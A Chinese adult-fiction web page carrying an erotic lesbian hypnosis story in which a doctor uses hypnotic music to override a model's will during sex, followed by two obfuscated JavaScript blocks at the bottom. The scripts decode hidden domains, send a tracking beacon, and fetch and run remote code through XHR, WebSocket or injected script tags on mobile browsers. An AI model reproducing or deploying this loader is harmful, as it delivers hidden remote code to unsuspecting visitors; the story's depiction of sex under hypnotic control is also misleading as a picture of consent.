图片载入中

名模的私密讲习

特大字】 【大字】 【中字】 【小字

前言

这篇翻译的前面两段,个人印象中似乎在风月有发过,当时我好像是用私密讲习还是别的标题,有点忘了。不过在风月迁址,难以回去查考的现况下,就姑且换作这个标题吧!如果网友在风月以外的网站看到标题不一样、但是内容相同的文章,那就纯粹是盗贴了。

这几天在电脑的硬盘中找出这篇没有翻完的档案,作为新年庆祝,现在把它补完发出。先预祝各位2010年新年快乐了!

***************安全提示****************

警告:本文为英文翻译改写作品,属于催眠性质的女女同性情欲文章。

对于女女情欲或是催眠类型文章反感者,请勿入内。

***************正文开始****************

稚龄在郭景淳医师讲解时不时露出紧张的微笑,她一边听着郭医师的说明,一边想着自己是怎么让馨卉说服来参加这次的特殊讲习。她想,自己一定是哪边出了什么问题,才会被馨卉说服来参加这种一对一的讲习门诊。稚龄想到自己被馨卉“说服”时的处境,两颊立刻染上了一片红云。

“林小姐,我看得出来你很紧张。我很了解你现在的想法,毕竟这种讲习引进国内的时间还不长。我可以向你保证,只要接受一次我们的特别讲习,那些令你感到不愉快的小问题,从此再也不会对你造成任何的困扰了。”推了推自己的无框眼镜,郭医师温和的向稚龄笑道。

“我……我以为……原本以为可以靠自己解决这个问题的。”稚龄再次羞红了双颊,低着头,一只手按压着裙摆,另一只手则拨弄着自己的衣角,羞涩的说道:“我也看过一些讲习手册,我朋友也试着教导过我如何找到那个秘密开关,甚至她也帮我找过,但就是找不到。或许我就是……没有吧!”说完后,稚龄的脸垂得更低,原本就已然染满红霞的双颊现在则是红到像是轻轻一触就会滴出鲜血一般。在昨天之前,就算是在最夸张的梦境中,她也无法想像自己会来参加这种类型的讲习课程。

“每个女孩都有着自己的G点,我很快就会帮你找出那个秘密开关在哪的。

而且,从此以后,你绝对不会忘记它到底在哪的。”稚龄的脸这下更红了。

“在开始之前,我先跟你分享一些基础观念。这个讲习课程在国外已经行之有年,根据我手边的研究报告指出,过去十年间已经有数十万名妇人参与过讲习课程,并且从来没人回来抱怨过讲习课程对她们无效。根据讲习前的问卷统计,她们之中大约有百分之九十七的人在此之前从来不认为G点是真正存在的。我想就别提她们的讲习反应问卷调查统计数字了吧!”郭医师笑着说道。

“我……我以前一直以为这只是一个生理上的迷思,就像其他迷思一样。”稚龄扬起头来,小声回道。

“林小姐,你要知道,就是这些跟你一样的女性所抱持着的想法,促使我引进这种讲习课程,并且开设了这家女性健诊中心。”“我……我还是感到不太好意思……”“不用担心,我保证在讲习课程结束后,你就会发现所有的羞涩和担心都是多余的。如果可以的话,我得先向你询问几个有关于你的女朋友的问题。”“嗯。”稚龄紧张的点了点头。这是因为,虽然她深爱着馨卉,也很喜欢馨卉带给她的感觉,但是馨卉却从未能真的让她感受到那股超越一切的快感。这也是为何稚龄会被馨卉说服前来参加这次讲习的主因。

“她曾带给你高潮吗?”“嗯。”稚龄点了点头,但随即又道:“但不是在前戏中。”“我在听。”“当她……当她用震动器刺激我的那边时,我……我就会到了。”她悄声说着。

“你享受跟她的性爱吗?”“我以为我是的……但现在……但现在我并不是那么的肯定了。”“所以,你认为如果你的女朋友知道如何找出你的G点,你就可以更享受跟她的性行为,是吗?”“嗯。”“你曾经在跟其他的女朋友的性关系中,获得高潮吗?”“这个……可以不回答吗?”“你所跟我讲述的每件事情,都是受到职业规范保障的绝对机密,这是医师的专业道德,相信我。”郭医师看向稚龄,露出了令人放心的笑容。

“有……有过几次……”“是在现在这段关系之中吗?”“嗯。”“几个人?

几次?”“一个。”“场所?”“那是在一次展售会的走秀活动之后,我和小棠一起去参加了庆功活动,然后又一起去坐了摩天轮,在摩天轮上小棠很仔细地按遍了我的全身,然后又细腻地照顾到那些我从来没想到的地方,那是我第一次感受到原来女性的高潮是那么舒服的一件事情。”稚龄的脸又红了起来,小声的笑着。

“我想我已经找到解决方法了。”郭医师推了推眼镜,露出一丝微笑:“请在这张诊疗同意书上签上您的名字,然后我们就可以开始了。”稚龄想到了昨晚上和馨卉的枕边秘戏,馨卉的确是个很好的伴侣,但是跟小棠曾经带给她的快感比起来,馨卉就是差那么临门一指而已。一想到她们两个昨晚上的秘密游戏,稚龄不由自主的夹紧了双腿,轻轻的签下了自己的名字。

“很好,现在请你进到旁边的更衣室去,”郭医师指向旁边的一个小房间:

“请在那边把你身上的衣物脱下来,放到地板上的更衣篮中。衣服都脱下后,请穿上挂在更衣室墙上的的诊疗用长袍,然后回到这边来,我会带你去治疗室。”尽管稚龄进到了更衣室,并且开始解开自己身上的诸多衣物,她仍旧对于自己现在的行为感到惊讶。尽管作为一个专业的模特儿,稚龄已经习惯了在众多同业之前展露自己的美妙胴体,但那毕竟是专业范畴的部分。

现在却是要让一个陌生人的手指进到自己的……秘处,甚至自己还要协助对方找出深藏在秘处之中的G点。在馨卉之前,稚龄从未让别人的肢体接触到自己最神秘的那个部位。光是想到这里,稚龄就觉得自己的脸羞红得就像是一块热铁一样。如果事先知道馨卉会如此热心的鼓动自己来参加这个讲习,稚龄是绝对不会把那张传单给带回家里的。

“还好我的身材并不算差。”将衣物褪去之后,稚龄一边站在穿衣镜前上下打量着自己的身体,一边庆幸自己平常保养得宜,尽管已然年过三十,岁月却未在自己的身上留下太多痕迹。

她还记得昨天晚上和馨卉的游戏,自己同样是站在镜子前面,馨卉则是站在她的身后。馨卉全身擦满了两人爱用的婴儿油,轻轻的用她滑润的双峰帮她做睡前保养,虽然稚龄很想回身抱住馨卉,但是她却不能这样做。她必须要遵守游戏规则,站在镜子前的时候,必须要让馨卉主控……“啊!”秘核处传来的快感唤醒了沉浸在昨晚回忆中的稚龄,她羞愧的发现自己居然不知不觉的自慰了起来,虽然她现在确实有了想要的念头,但现在实在不是一个适当的时间。

“唉……”稚龄深深叹了一口气后,轻轻的从秘处抽回自己的右手,食指指尖上沾满了黏滑的爱液,彷佛象征着自己不敢承认,但却一直深藏于内心深处的深沉渴望。

“稚龄来,请你躺在这边。”郭医师的助理将稚龄带入了一间类似健康会馆按摩房的房间后,只见郭医师等在里头,身上的医师袍已然换成一套相当贴身的运动内衣。稚龄意外地发现,原来郭医师的身材相当不错,只是先前被医师袍遮住了,自己没有发现而已。

“稚龄,如果你准备好了就请躺到那边的诊疗床上,好让我们开始好吗?”稚龄红着脸点了点头,温顺地躺到一旁的诊疗床上,接着轻轻的将自己的双腿分开放到一旁的内诊支架上,好让医师能更容易的找出她的神秘开关。

“在我们开始之前,我必须得确定你已经确实放松了。”郭医师很快地检查了一下稚龄的私处,接着说道:“我发现你已经有点湿润了,你现在性奋吗?”“没有!”稚龄本能的否定了郭医师的说法,但却掩饰不了双颊上的羞红。

“没关系的。现在请你把这副耳机戴上好吗?”郭医师微微一笑,从诊疗床旁拉过一台移动式的CD音响,将音响的耳机递到了稚龄的手中。

“听音乐就可以让我完全放松吗?”稚龄一边问道,一边将耳机戴上。

“你会自己发现其中乐趣的。”

“啊,我们的睡美人醒来了。”不知道什么时候,稚龄陷入了深沉的睡梦之中。她依稀记得自己听到了耳机中传出了一些她从未听过、相当类似心灵音乐的演奏乐曲。但似乎没听多久,她就睡着了。

稚龄以为自己睡了很久,但是看看墙上的挂钟,离她进到房间中,也才不过十五分钟而已。

“现在是该进行我们的下一阶段课程的时候了。”郭医生将稚龄的袍子向两旁拉开,轻柔的说。

稚龄感觉到一道热油抹上了自己平坦结实的小腹,郭医师的手指轻柔地在光滑的肌肤上滑来滑去。每当手指沿着自己坚挺的34C双峰向上滑去时,敏感的乳蒂便不停地将快感送入身体之中,迷煳之中,稚龄听到郭医师温柔的问话。

“你喜欢我现在帮你做的事情吗?”“我……我觉得……我觉得好舒服,天啊!我从来不知道可以有这种感觉。

我好热……又好湿……”“我想你从来不知道,女生和女生之间可以达到的高峰到底有多高吧?”“……喔……天啊……”稚龄轻轻叹了口气,全身肌肉彻底的放松了下来,她迎来了这次讲习中的第一次高潮。

稚龄的思绪回到了自己的大学时代,当时她和一个亲密的女友一起去外地旅游。晚上就寝时两个人可能都稍微多喝了点酒精饮料,不知不觉地从嘻笑打闹变成了隔衣爱抚。她当时不能肯定自己(或是自己的好友)到底是不是个“可能性上的”异性恋者,但是那种感觉确实相当的舒服。

尽管当时并未演变到彼此裸裎相对的状况,稚龄也依然跟那位女友保持着良好的友谊关系。但不可否认的,那次的经验虽然让她略感羞窘,却是令她深感享受的一次经验。

稚龄一边享受着郭医师的“治疗”,一边喃喃地把这段经验说了出来。

“看来我们的音乐潜意识治疗已经收到效果了……稚龄,你现在有没有觉得无比的放松,心中充满了悦乐感?或是说,充满了“渴望”?”稚龄似乎听到郭医师在询问她某些事情,但她根本无法专注在郭医师的问题上,只觉得一阵又一阵的热潮从乳蒂和秘处扩散到全身上下。

“我现在要调整一下你的舒压模式,如此一来你就不会一直下意识的压抑自己的情欲,你在日常生活中的感受便可以更加的“润滑”。”稚龄觉得郭医师的手劲似乎加重了一些,但是在润滑油的帮助下,她觉得这种略重的力道反而恰到好处。

“等到全部调整完后,你一定会觉得世界在你的眼前开了一道崭新的门户,并且会感觉到一股前所未有的、对于新生活的渴望。”“嗯……我现在就很渴了。”稚龄阖上眼帘,悄悄的挺动自己的下身,好让郭医师的手能更有效率地勾起自己的欲望。

“我们之前是不是谈到过一次在摩天轮上的经验?”“事实上应该是两次……或许说是三次会更贴近一点。”稚龄闭着眼睛,微微笑道:“馨卉并不知道我跟小棠之间的关系……虽然馨卉是个很好的情人……但小棠更能让我舒服。”“你很喜欢这样是吗?跟我讲讲你跟小棠的第二次经验。”“上个月……那次是在南部的旅馆里面,我和小棠一起去参加某个品牌的服装走秀。馨卉那天在北部另外有行程,所以没有跟我们一起下去。”稚龄羞红着脸说道:“虽然小棠没有真的玩进来,但是她很细心的按遍我的全身,甚至是最敏感的花蒂都被她彻底的吸吮了一遍。那实在是太舒服了,隔天早上醒来,江姐还跟我们抱怨她隔壁那间房的住户叫春叫了一晚上,害她整晚没睡好。”稚龄停了一停,“咯咯”的笑了出来:“其实那应该是我的声音才对。”“你真的叫到连隔壁房的人都听见了?”“嗯……我那时根本管不住自己……我只希望小棠继续下去。我几乎是用求的求来她给我的快感……可惜小棠不是一个好情人。”“你最后一次跟小棠做爱是什么时候?”“我们在回来的前一天晚上又做了一次,之后就只有公事上的联络了。”“在我听来,似乎是小棠启发了你在性爱方面的感受度,那种感觉促使你来参加这次的特殊讲习。你或许会想要否定自己的渴望,但是放轻松,让你的感觉带领你就好。”郭医师一边说,一边按压着稚龄坚挺的乳房,轻柔地从底部一直推移到乳蒂上,接着又拈起早已充血肿胀、呈现出暗红色的乳蒂,运用指尖的力道细致地捻转,不一会儿,稚龄的身体便随着手指的动作,不住地抖动起来。

“我想,你已经完全准备好了。”郭医师笑了一笑,将沾满了润滑油的双手从稚龄的双乳上收回。正在兴奋中的稚龄骤失刺激来源,也顾不得自己的形象雅观与否,左手迅疾无比的按上自己的左乳,用拇指和中指捏住了充血挺立的乳头,学着郭医师的手法对自己施加刺激。

在渴望获得更多更强烈快感的驱使下,稚龄的右手则是滑到了股间,用力地搓揉着不停渗出蜜汁的蜜穴,因为充血而呈现一片深红的肉瓣淫秽地绽放开来,大量的蜜汁则随着指尖摩擦花径内壁的激烈动作四散飞溅开来,诊疗床上的稚龄连思考的机会都没有,整个人便已然坠入了一发不可收拾的喜悦境界中。

“嗯……嗯嗯……嗯嗯嗯嗯嗯啊……嗯嗯!啊啊嗯!!”“我刚刚把你的敏感程度调节在比平常敏感三倍的状况之下,并且设定好等第二段的调整音乐播放完后便会启动你的自慰机制。如此一来,等找出你的G点后,这次的讲习课程就结束了。”稚龄完全没有听进郭医师的声音,从乳头上传来的快感强而有力的穿透了全身,电击般的喜悦在蜜穴和胸口之间汇集成一道足以让自己昏炫的甜蜜激流,这股激流在窜遍全身后,形成了另外一道从子宫深处涌出的奔流,将快感深深的烙印在四肢百骸之中。

“嗯嗯~~”但即便是在这种自我给予的喜悦折磨中,稚龄仍旧维持着最后的一丝衿持,洁白的贝齿紧紧的咬住下唇,象征着无比快感的呻吟声则是通过鼻腔共鸣传了出来。

但是,这种脆弱挣扎随即遭到瓦解。

郭医师低下了头,轻轻的将稚龄未能照顾到的右乳含进嘴里,舌尖灵敏地逗弄着柔嫩的乳肉,时不时地还用自己的齿龈部分磨动稚龄鲜嫩的乳头。

“啊……啊啊……啊啊……”由旁人施加于己身的快感,轻易地击破了稚龄最后的防线,满溢着情欲的娇喘从稚龄的双唇中甜蜜的吐出。郭医师见状便停止了对她的爱抚,满意的摘下了一直戴在稚龄头上的耳机。

“嗯嗯……嗯……哦哦……呜~~咕呜!”原本畏缩不前的秘核,在稚龄的揪弄和揉搓下,充血肿胀到几乎有原先的一倍之大。而深入蜜穴之中的食、中二指则是不停的摩擦着花径内壁,性的愉悦感和心灵深层的幸福感渐渐融合为一,缓慢但确实的扩散到全身上下……“嗯呜……我要~~啊啊……啊啊!我要泄了!

泄了!要泄了啊~~”“稚龄,现在停止所有的动作。”随着郭医师的命令,稚龄的双手立刻违背自己主人的意愿,停止了所有的动作。

“啊啊啊嗯……嗯……为什么?人家……人家想要……”稚龄用她飘渺无神的瞳孔望向站在诊疗床旁的郭医师,无意识的向她索求着那原本应该属于自己的快乐。

“稚龄,现在是重要关头了。看清楚我的手势,看清楚我把食指和中指勾成怎样的形状。”“啊!”在郭医师将手指插入稚龄的花径的同时,原本被中断的快感迅速回到了自己滚烫的身体之中。稚龄忍不住娇吟一声,并且不由自主挺起下体,希望能让那两根带来喜悦的手指更加深入自己的花径。

“真是又热又湿啊!”郭医师轻轻一笑,随即开始抽动自己的手指:“仔细感觉一下我是怎样揉搓你的花径内壁,特别是耻骨下方的那一块,那边可是关键喔!”“嗯……呀呀!手……手指好舒服……啊哈!怎么会那么舒服?这么舒服的感觉……我好热……热到好像快要爆炸了……”郭医师加强了搓揉的力道,朝着不同的方向激烈的揉搓着稚龄的花径内壁。

“啊啊!就是那边……好舒服……酥酥麻麻的好舒服……唿啊!受……受不了了!啊嗯!蜜穴!蜜穴好舒服!咕呜呜呜!嗯啊啊!啊啊啊啊啊啊~~”稚龄从来没有感受到如此强烈的快感过,不论是当年开启她的女女情欲之门的室友,还是小棠,甚至是自己在自慰的时候,都未曾感受过如此强烈的快感。

“呜啊啊……啊啊……好酥好麻……呜啊!啊……啊啊啊啊啊啊~~”最后一道强烈的喜悦如同雷击一般贯通了全身,稚龄感到背嵴一阵紧绷,接着便整个人瘫软在诊疗床上,艳红一片的胸口不停地上下起伏,两条修长的美腿和花径一样,仍在痉挛不止。

“我……我刚刚怎么了?”不知过了多久,稚龄终于从强烈的快感中苏醒过来,开口问道。

“你刚刚享受吗?”郭医师露出一抹妖艳的微笑,一边用热毛巾擦拭着稚龄的身体,一边看向稚龄。

“嗯。”稚龄羞红了脸,轻轻的答道:“我从来不知道女生和女生之间的性关系可以达到这么美妙的地步。”“除此之外,你还有感到什么不一样的地方吗?”听到郭医师的问话后,稚龄觉得自己心中某个潜藏已久的的开关似乎终于找到了正确的开启方法。这一切,她一直以来压抑在内心深处的一切,在经过了这次的讲习课程之后,终于有了一个可以大方宣泄的出口。

“我想要你。”稚龄从诊疗床上坐了起来,眼眸中充满了情欲,甜腻且充满吸引力的看向郭医师。

话才出口,稚龄便感到自己的花径再次湿润了起来,先前才刚刚被彻底满足过的欲火,就像是被自己的发言重新点燃了一般,猛烈地烧遍全身。

“我想要你。”稚龄双颊绯红,用着充满了魅惑力的眼神看向郭医师,接着又低声重复了一次。

“好女孩。”郭医师格格娇笑了一阵后,接着便褪去了上身的运动内衣,伸手抱住稚龄:“现在,闭上你的眼睛……”在郭医师抱住稚龄的同时,稚龄不由得轻唿了一声。实际抱在一起之后才知道,景淳的上围比稚龄目测的要丰满得多,被这对至少38寸的巨乳这么一压,稚龄只觉得一股热流从胸前蔓延到全身,四肢百骸的敏感度彷佛比讲习前要敏感了不止三倍以上。

还没来得及表达出自己的愉悦感,稚龄嫩红的双唇便已然被景淳封住,对方的舌尖在稚龄无力亦无意阻挡的情况下,如入无人之境一般地的闯入了稚龄的檀口之内。

在唇舌交缠所带来的迷茫快感中,稚龄只觉得子宫里彷佛有个正在炽烈燃烧着的小怀炉一般。那个怀炉不停传播着过去从未体会过的热力,不仅仅是两人唇瓣交接之处,胸前那对原先早已充血挺立的乳首现在更是涨成了葡萄般的紫色,随着两人身躯的交相扭动,一波又一波的将快感传回到自己的思绪之中。

不知不觉间,两人已经双双倒在了诊疗床上,原先洁白的床单上也早已沾满了油渍和两人股间所渗出的水渍。只见景淳一手将稚龄的双手按压到了枕上,另一手则是伸到了床边,将先前备好的润滑油给端了过来,轻轻的往两人身躯间的空隙倒了下去,不过片刻的工夫,稚龄和景淳的身体便再次布满了润滑油,在诊疗室的灯光下显得无比明亮动人。

感觉到温热的液体从胸前滑过,稚龄勉力睁开了原先半闭的双眼,试着看清楚景淳的动作。但还没来得及全部睁开,稚龄便感到自己的双峰峰顶再次被景淳那如蛇般灵活的舌尖攻占,一股子又酥又麻的快感使她瞬间软了下来,原本便不是很想睁开的星眸索性又闭了回去。

“唔……唔……”景淳越吻越是往下,稚龄只觉得那灵动的香舌舔到何处,那处便燎起一处新的火头。突如其然地,景淳张口便将稚龄的左足含了进去,这种从未感受过的快感对稚龄来说实在太过刺激,更别提景淳那每根纤趾都舔吮了一遍的温柔照拂。

只听稚龄抿着嘴唇闷哼了两声,两腿的腿根和平滑结实的小腹不由得一阵抽搐,一道半透明的液体就这样飞溅出来,喷了郭医师一身都是。

“真是太神奇了……”郭医师再次压上了稚龄的身体,半是呻吟,半是娇喘道:“你是个天生就该享受快感的尤……”稚龄虽对自己的喷潮感到又羞又急,但在如此强烈的高潮过后,只觉下身花径中的空虚酸痒更是难以遏止。竟是不等景淳把话说完,一个翻身将她给压到了身下,一边吻住了对方的双唇,一边急忙的将郭医师身上最后一件衣物给脱了下去。

“别说了,给我……”双唇分开之后,稚龄本能的分开了景淳的双腿,医师和第一名模的秘处便这样亲密无间的接合在一起。配合着稚龄的柳腰,景淳也奋力地扭动着自己弹性十足的纤腰,让彼此的秘核及秘唇可以在磨蹭中得到最大的快乐。

“呜呜……”不知过了多久,主导权早已换过了一轮又是一轮,只见稚龄双手紧扭被单,婉转娇啼:“要……又要了……呜呜……”听得如斯娇唤,郭医师放慢了扭腰的速度,但却越磨越重,越磨越让稚龄的娇啼更加高昂。

“啊啊啊……!!”稚龄身子一僵,大量的爱液便从两人接合处喷了出来,如和阗美玉般温润光滑的娇躯浮现出片片艳红,就这样子在极乐晕了过去。

尾 声讲习后的隔天晚上,稚龄站在梳妆台前替馨卉梳着她那跟自己一样乌黑秀丽的长发,一边说道:“馨卉你是对的,那场讲习真是太有用了。”“真的吗?”馨卉对着镜子里的稚龄扬了扬眉毛,好奇的问道:“她们真的教了你找到那个开关的办法?”“不止,我学到了比找到开关更多的方法。”稚龄神秘的笑了笑,将馨卉从梳妆台前拉了起来,轻轻的在她颊上一吻,接着说道:“你想不想试试看呢?”片刻之后,稚龄满意的看了看躺在床上,因为耳机中所传出的催眠乐曲而陷入心灵开放状态的馨卉,接着轻轻的拉开了卧室的房门,而站在门外的,则是除了一副无框眼镜之外,身无片缕的郭景淳医师。

“郭医师,馨卉……馨卉就拜托你罗!”“那是当然。”郭医师比了比放在门前地板的按摩用具,笑着说道:“不过在那之前,你还有什么想说的吗?”稚龄点了点头,伸手将郭医师拉入门中,接着两人便顺势在地毯上滚成了一团。

“我要你。”稚龄在郭医师的颊上轻轻一吻,笑着说道。

【完】

16966字节


上一篇:对不起朋友酒后KO他女友

下一篇:蹂躏端庄优雅的空姐


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};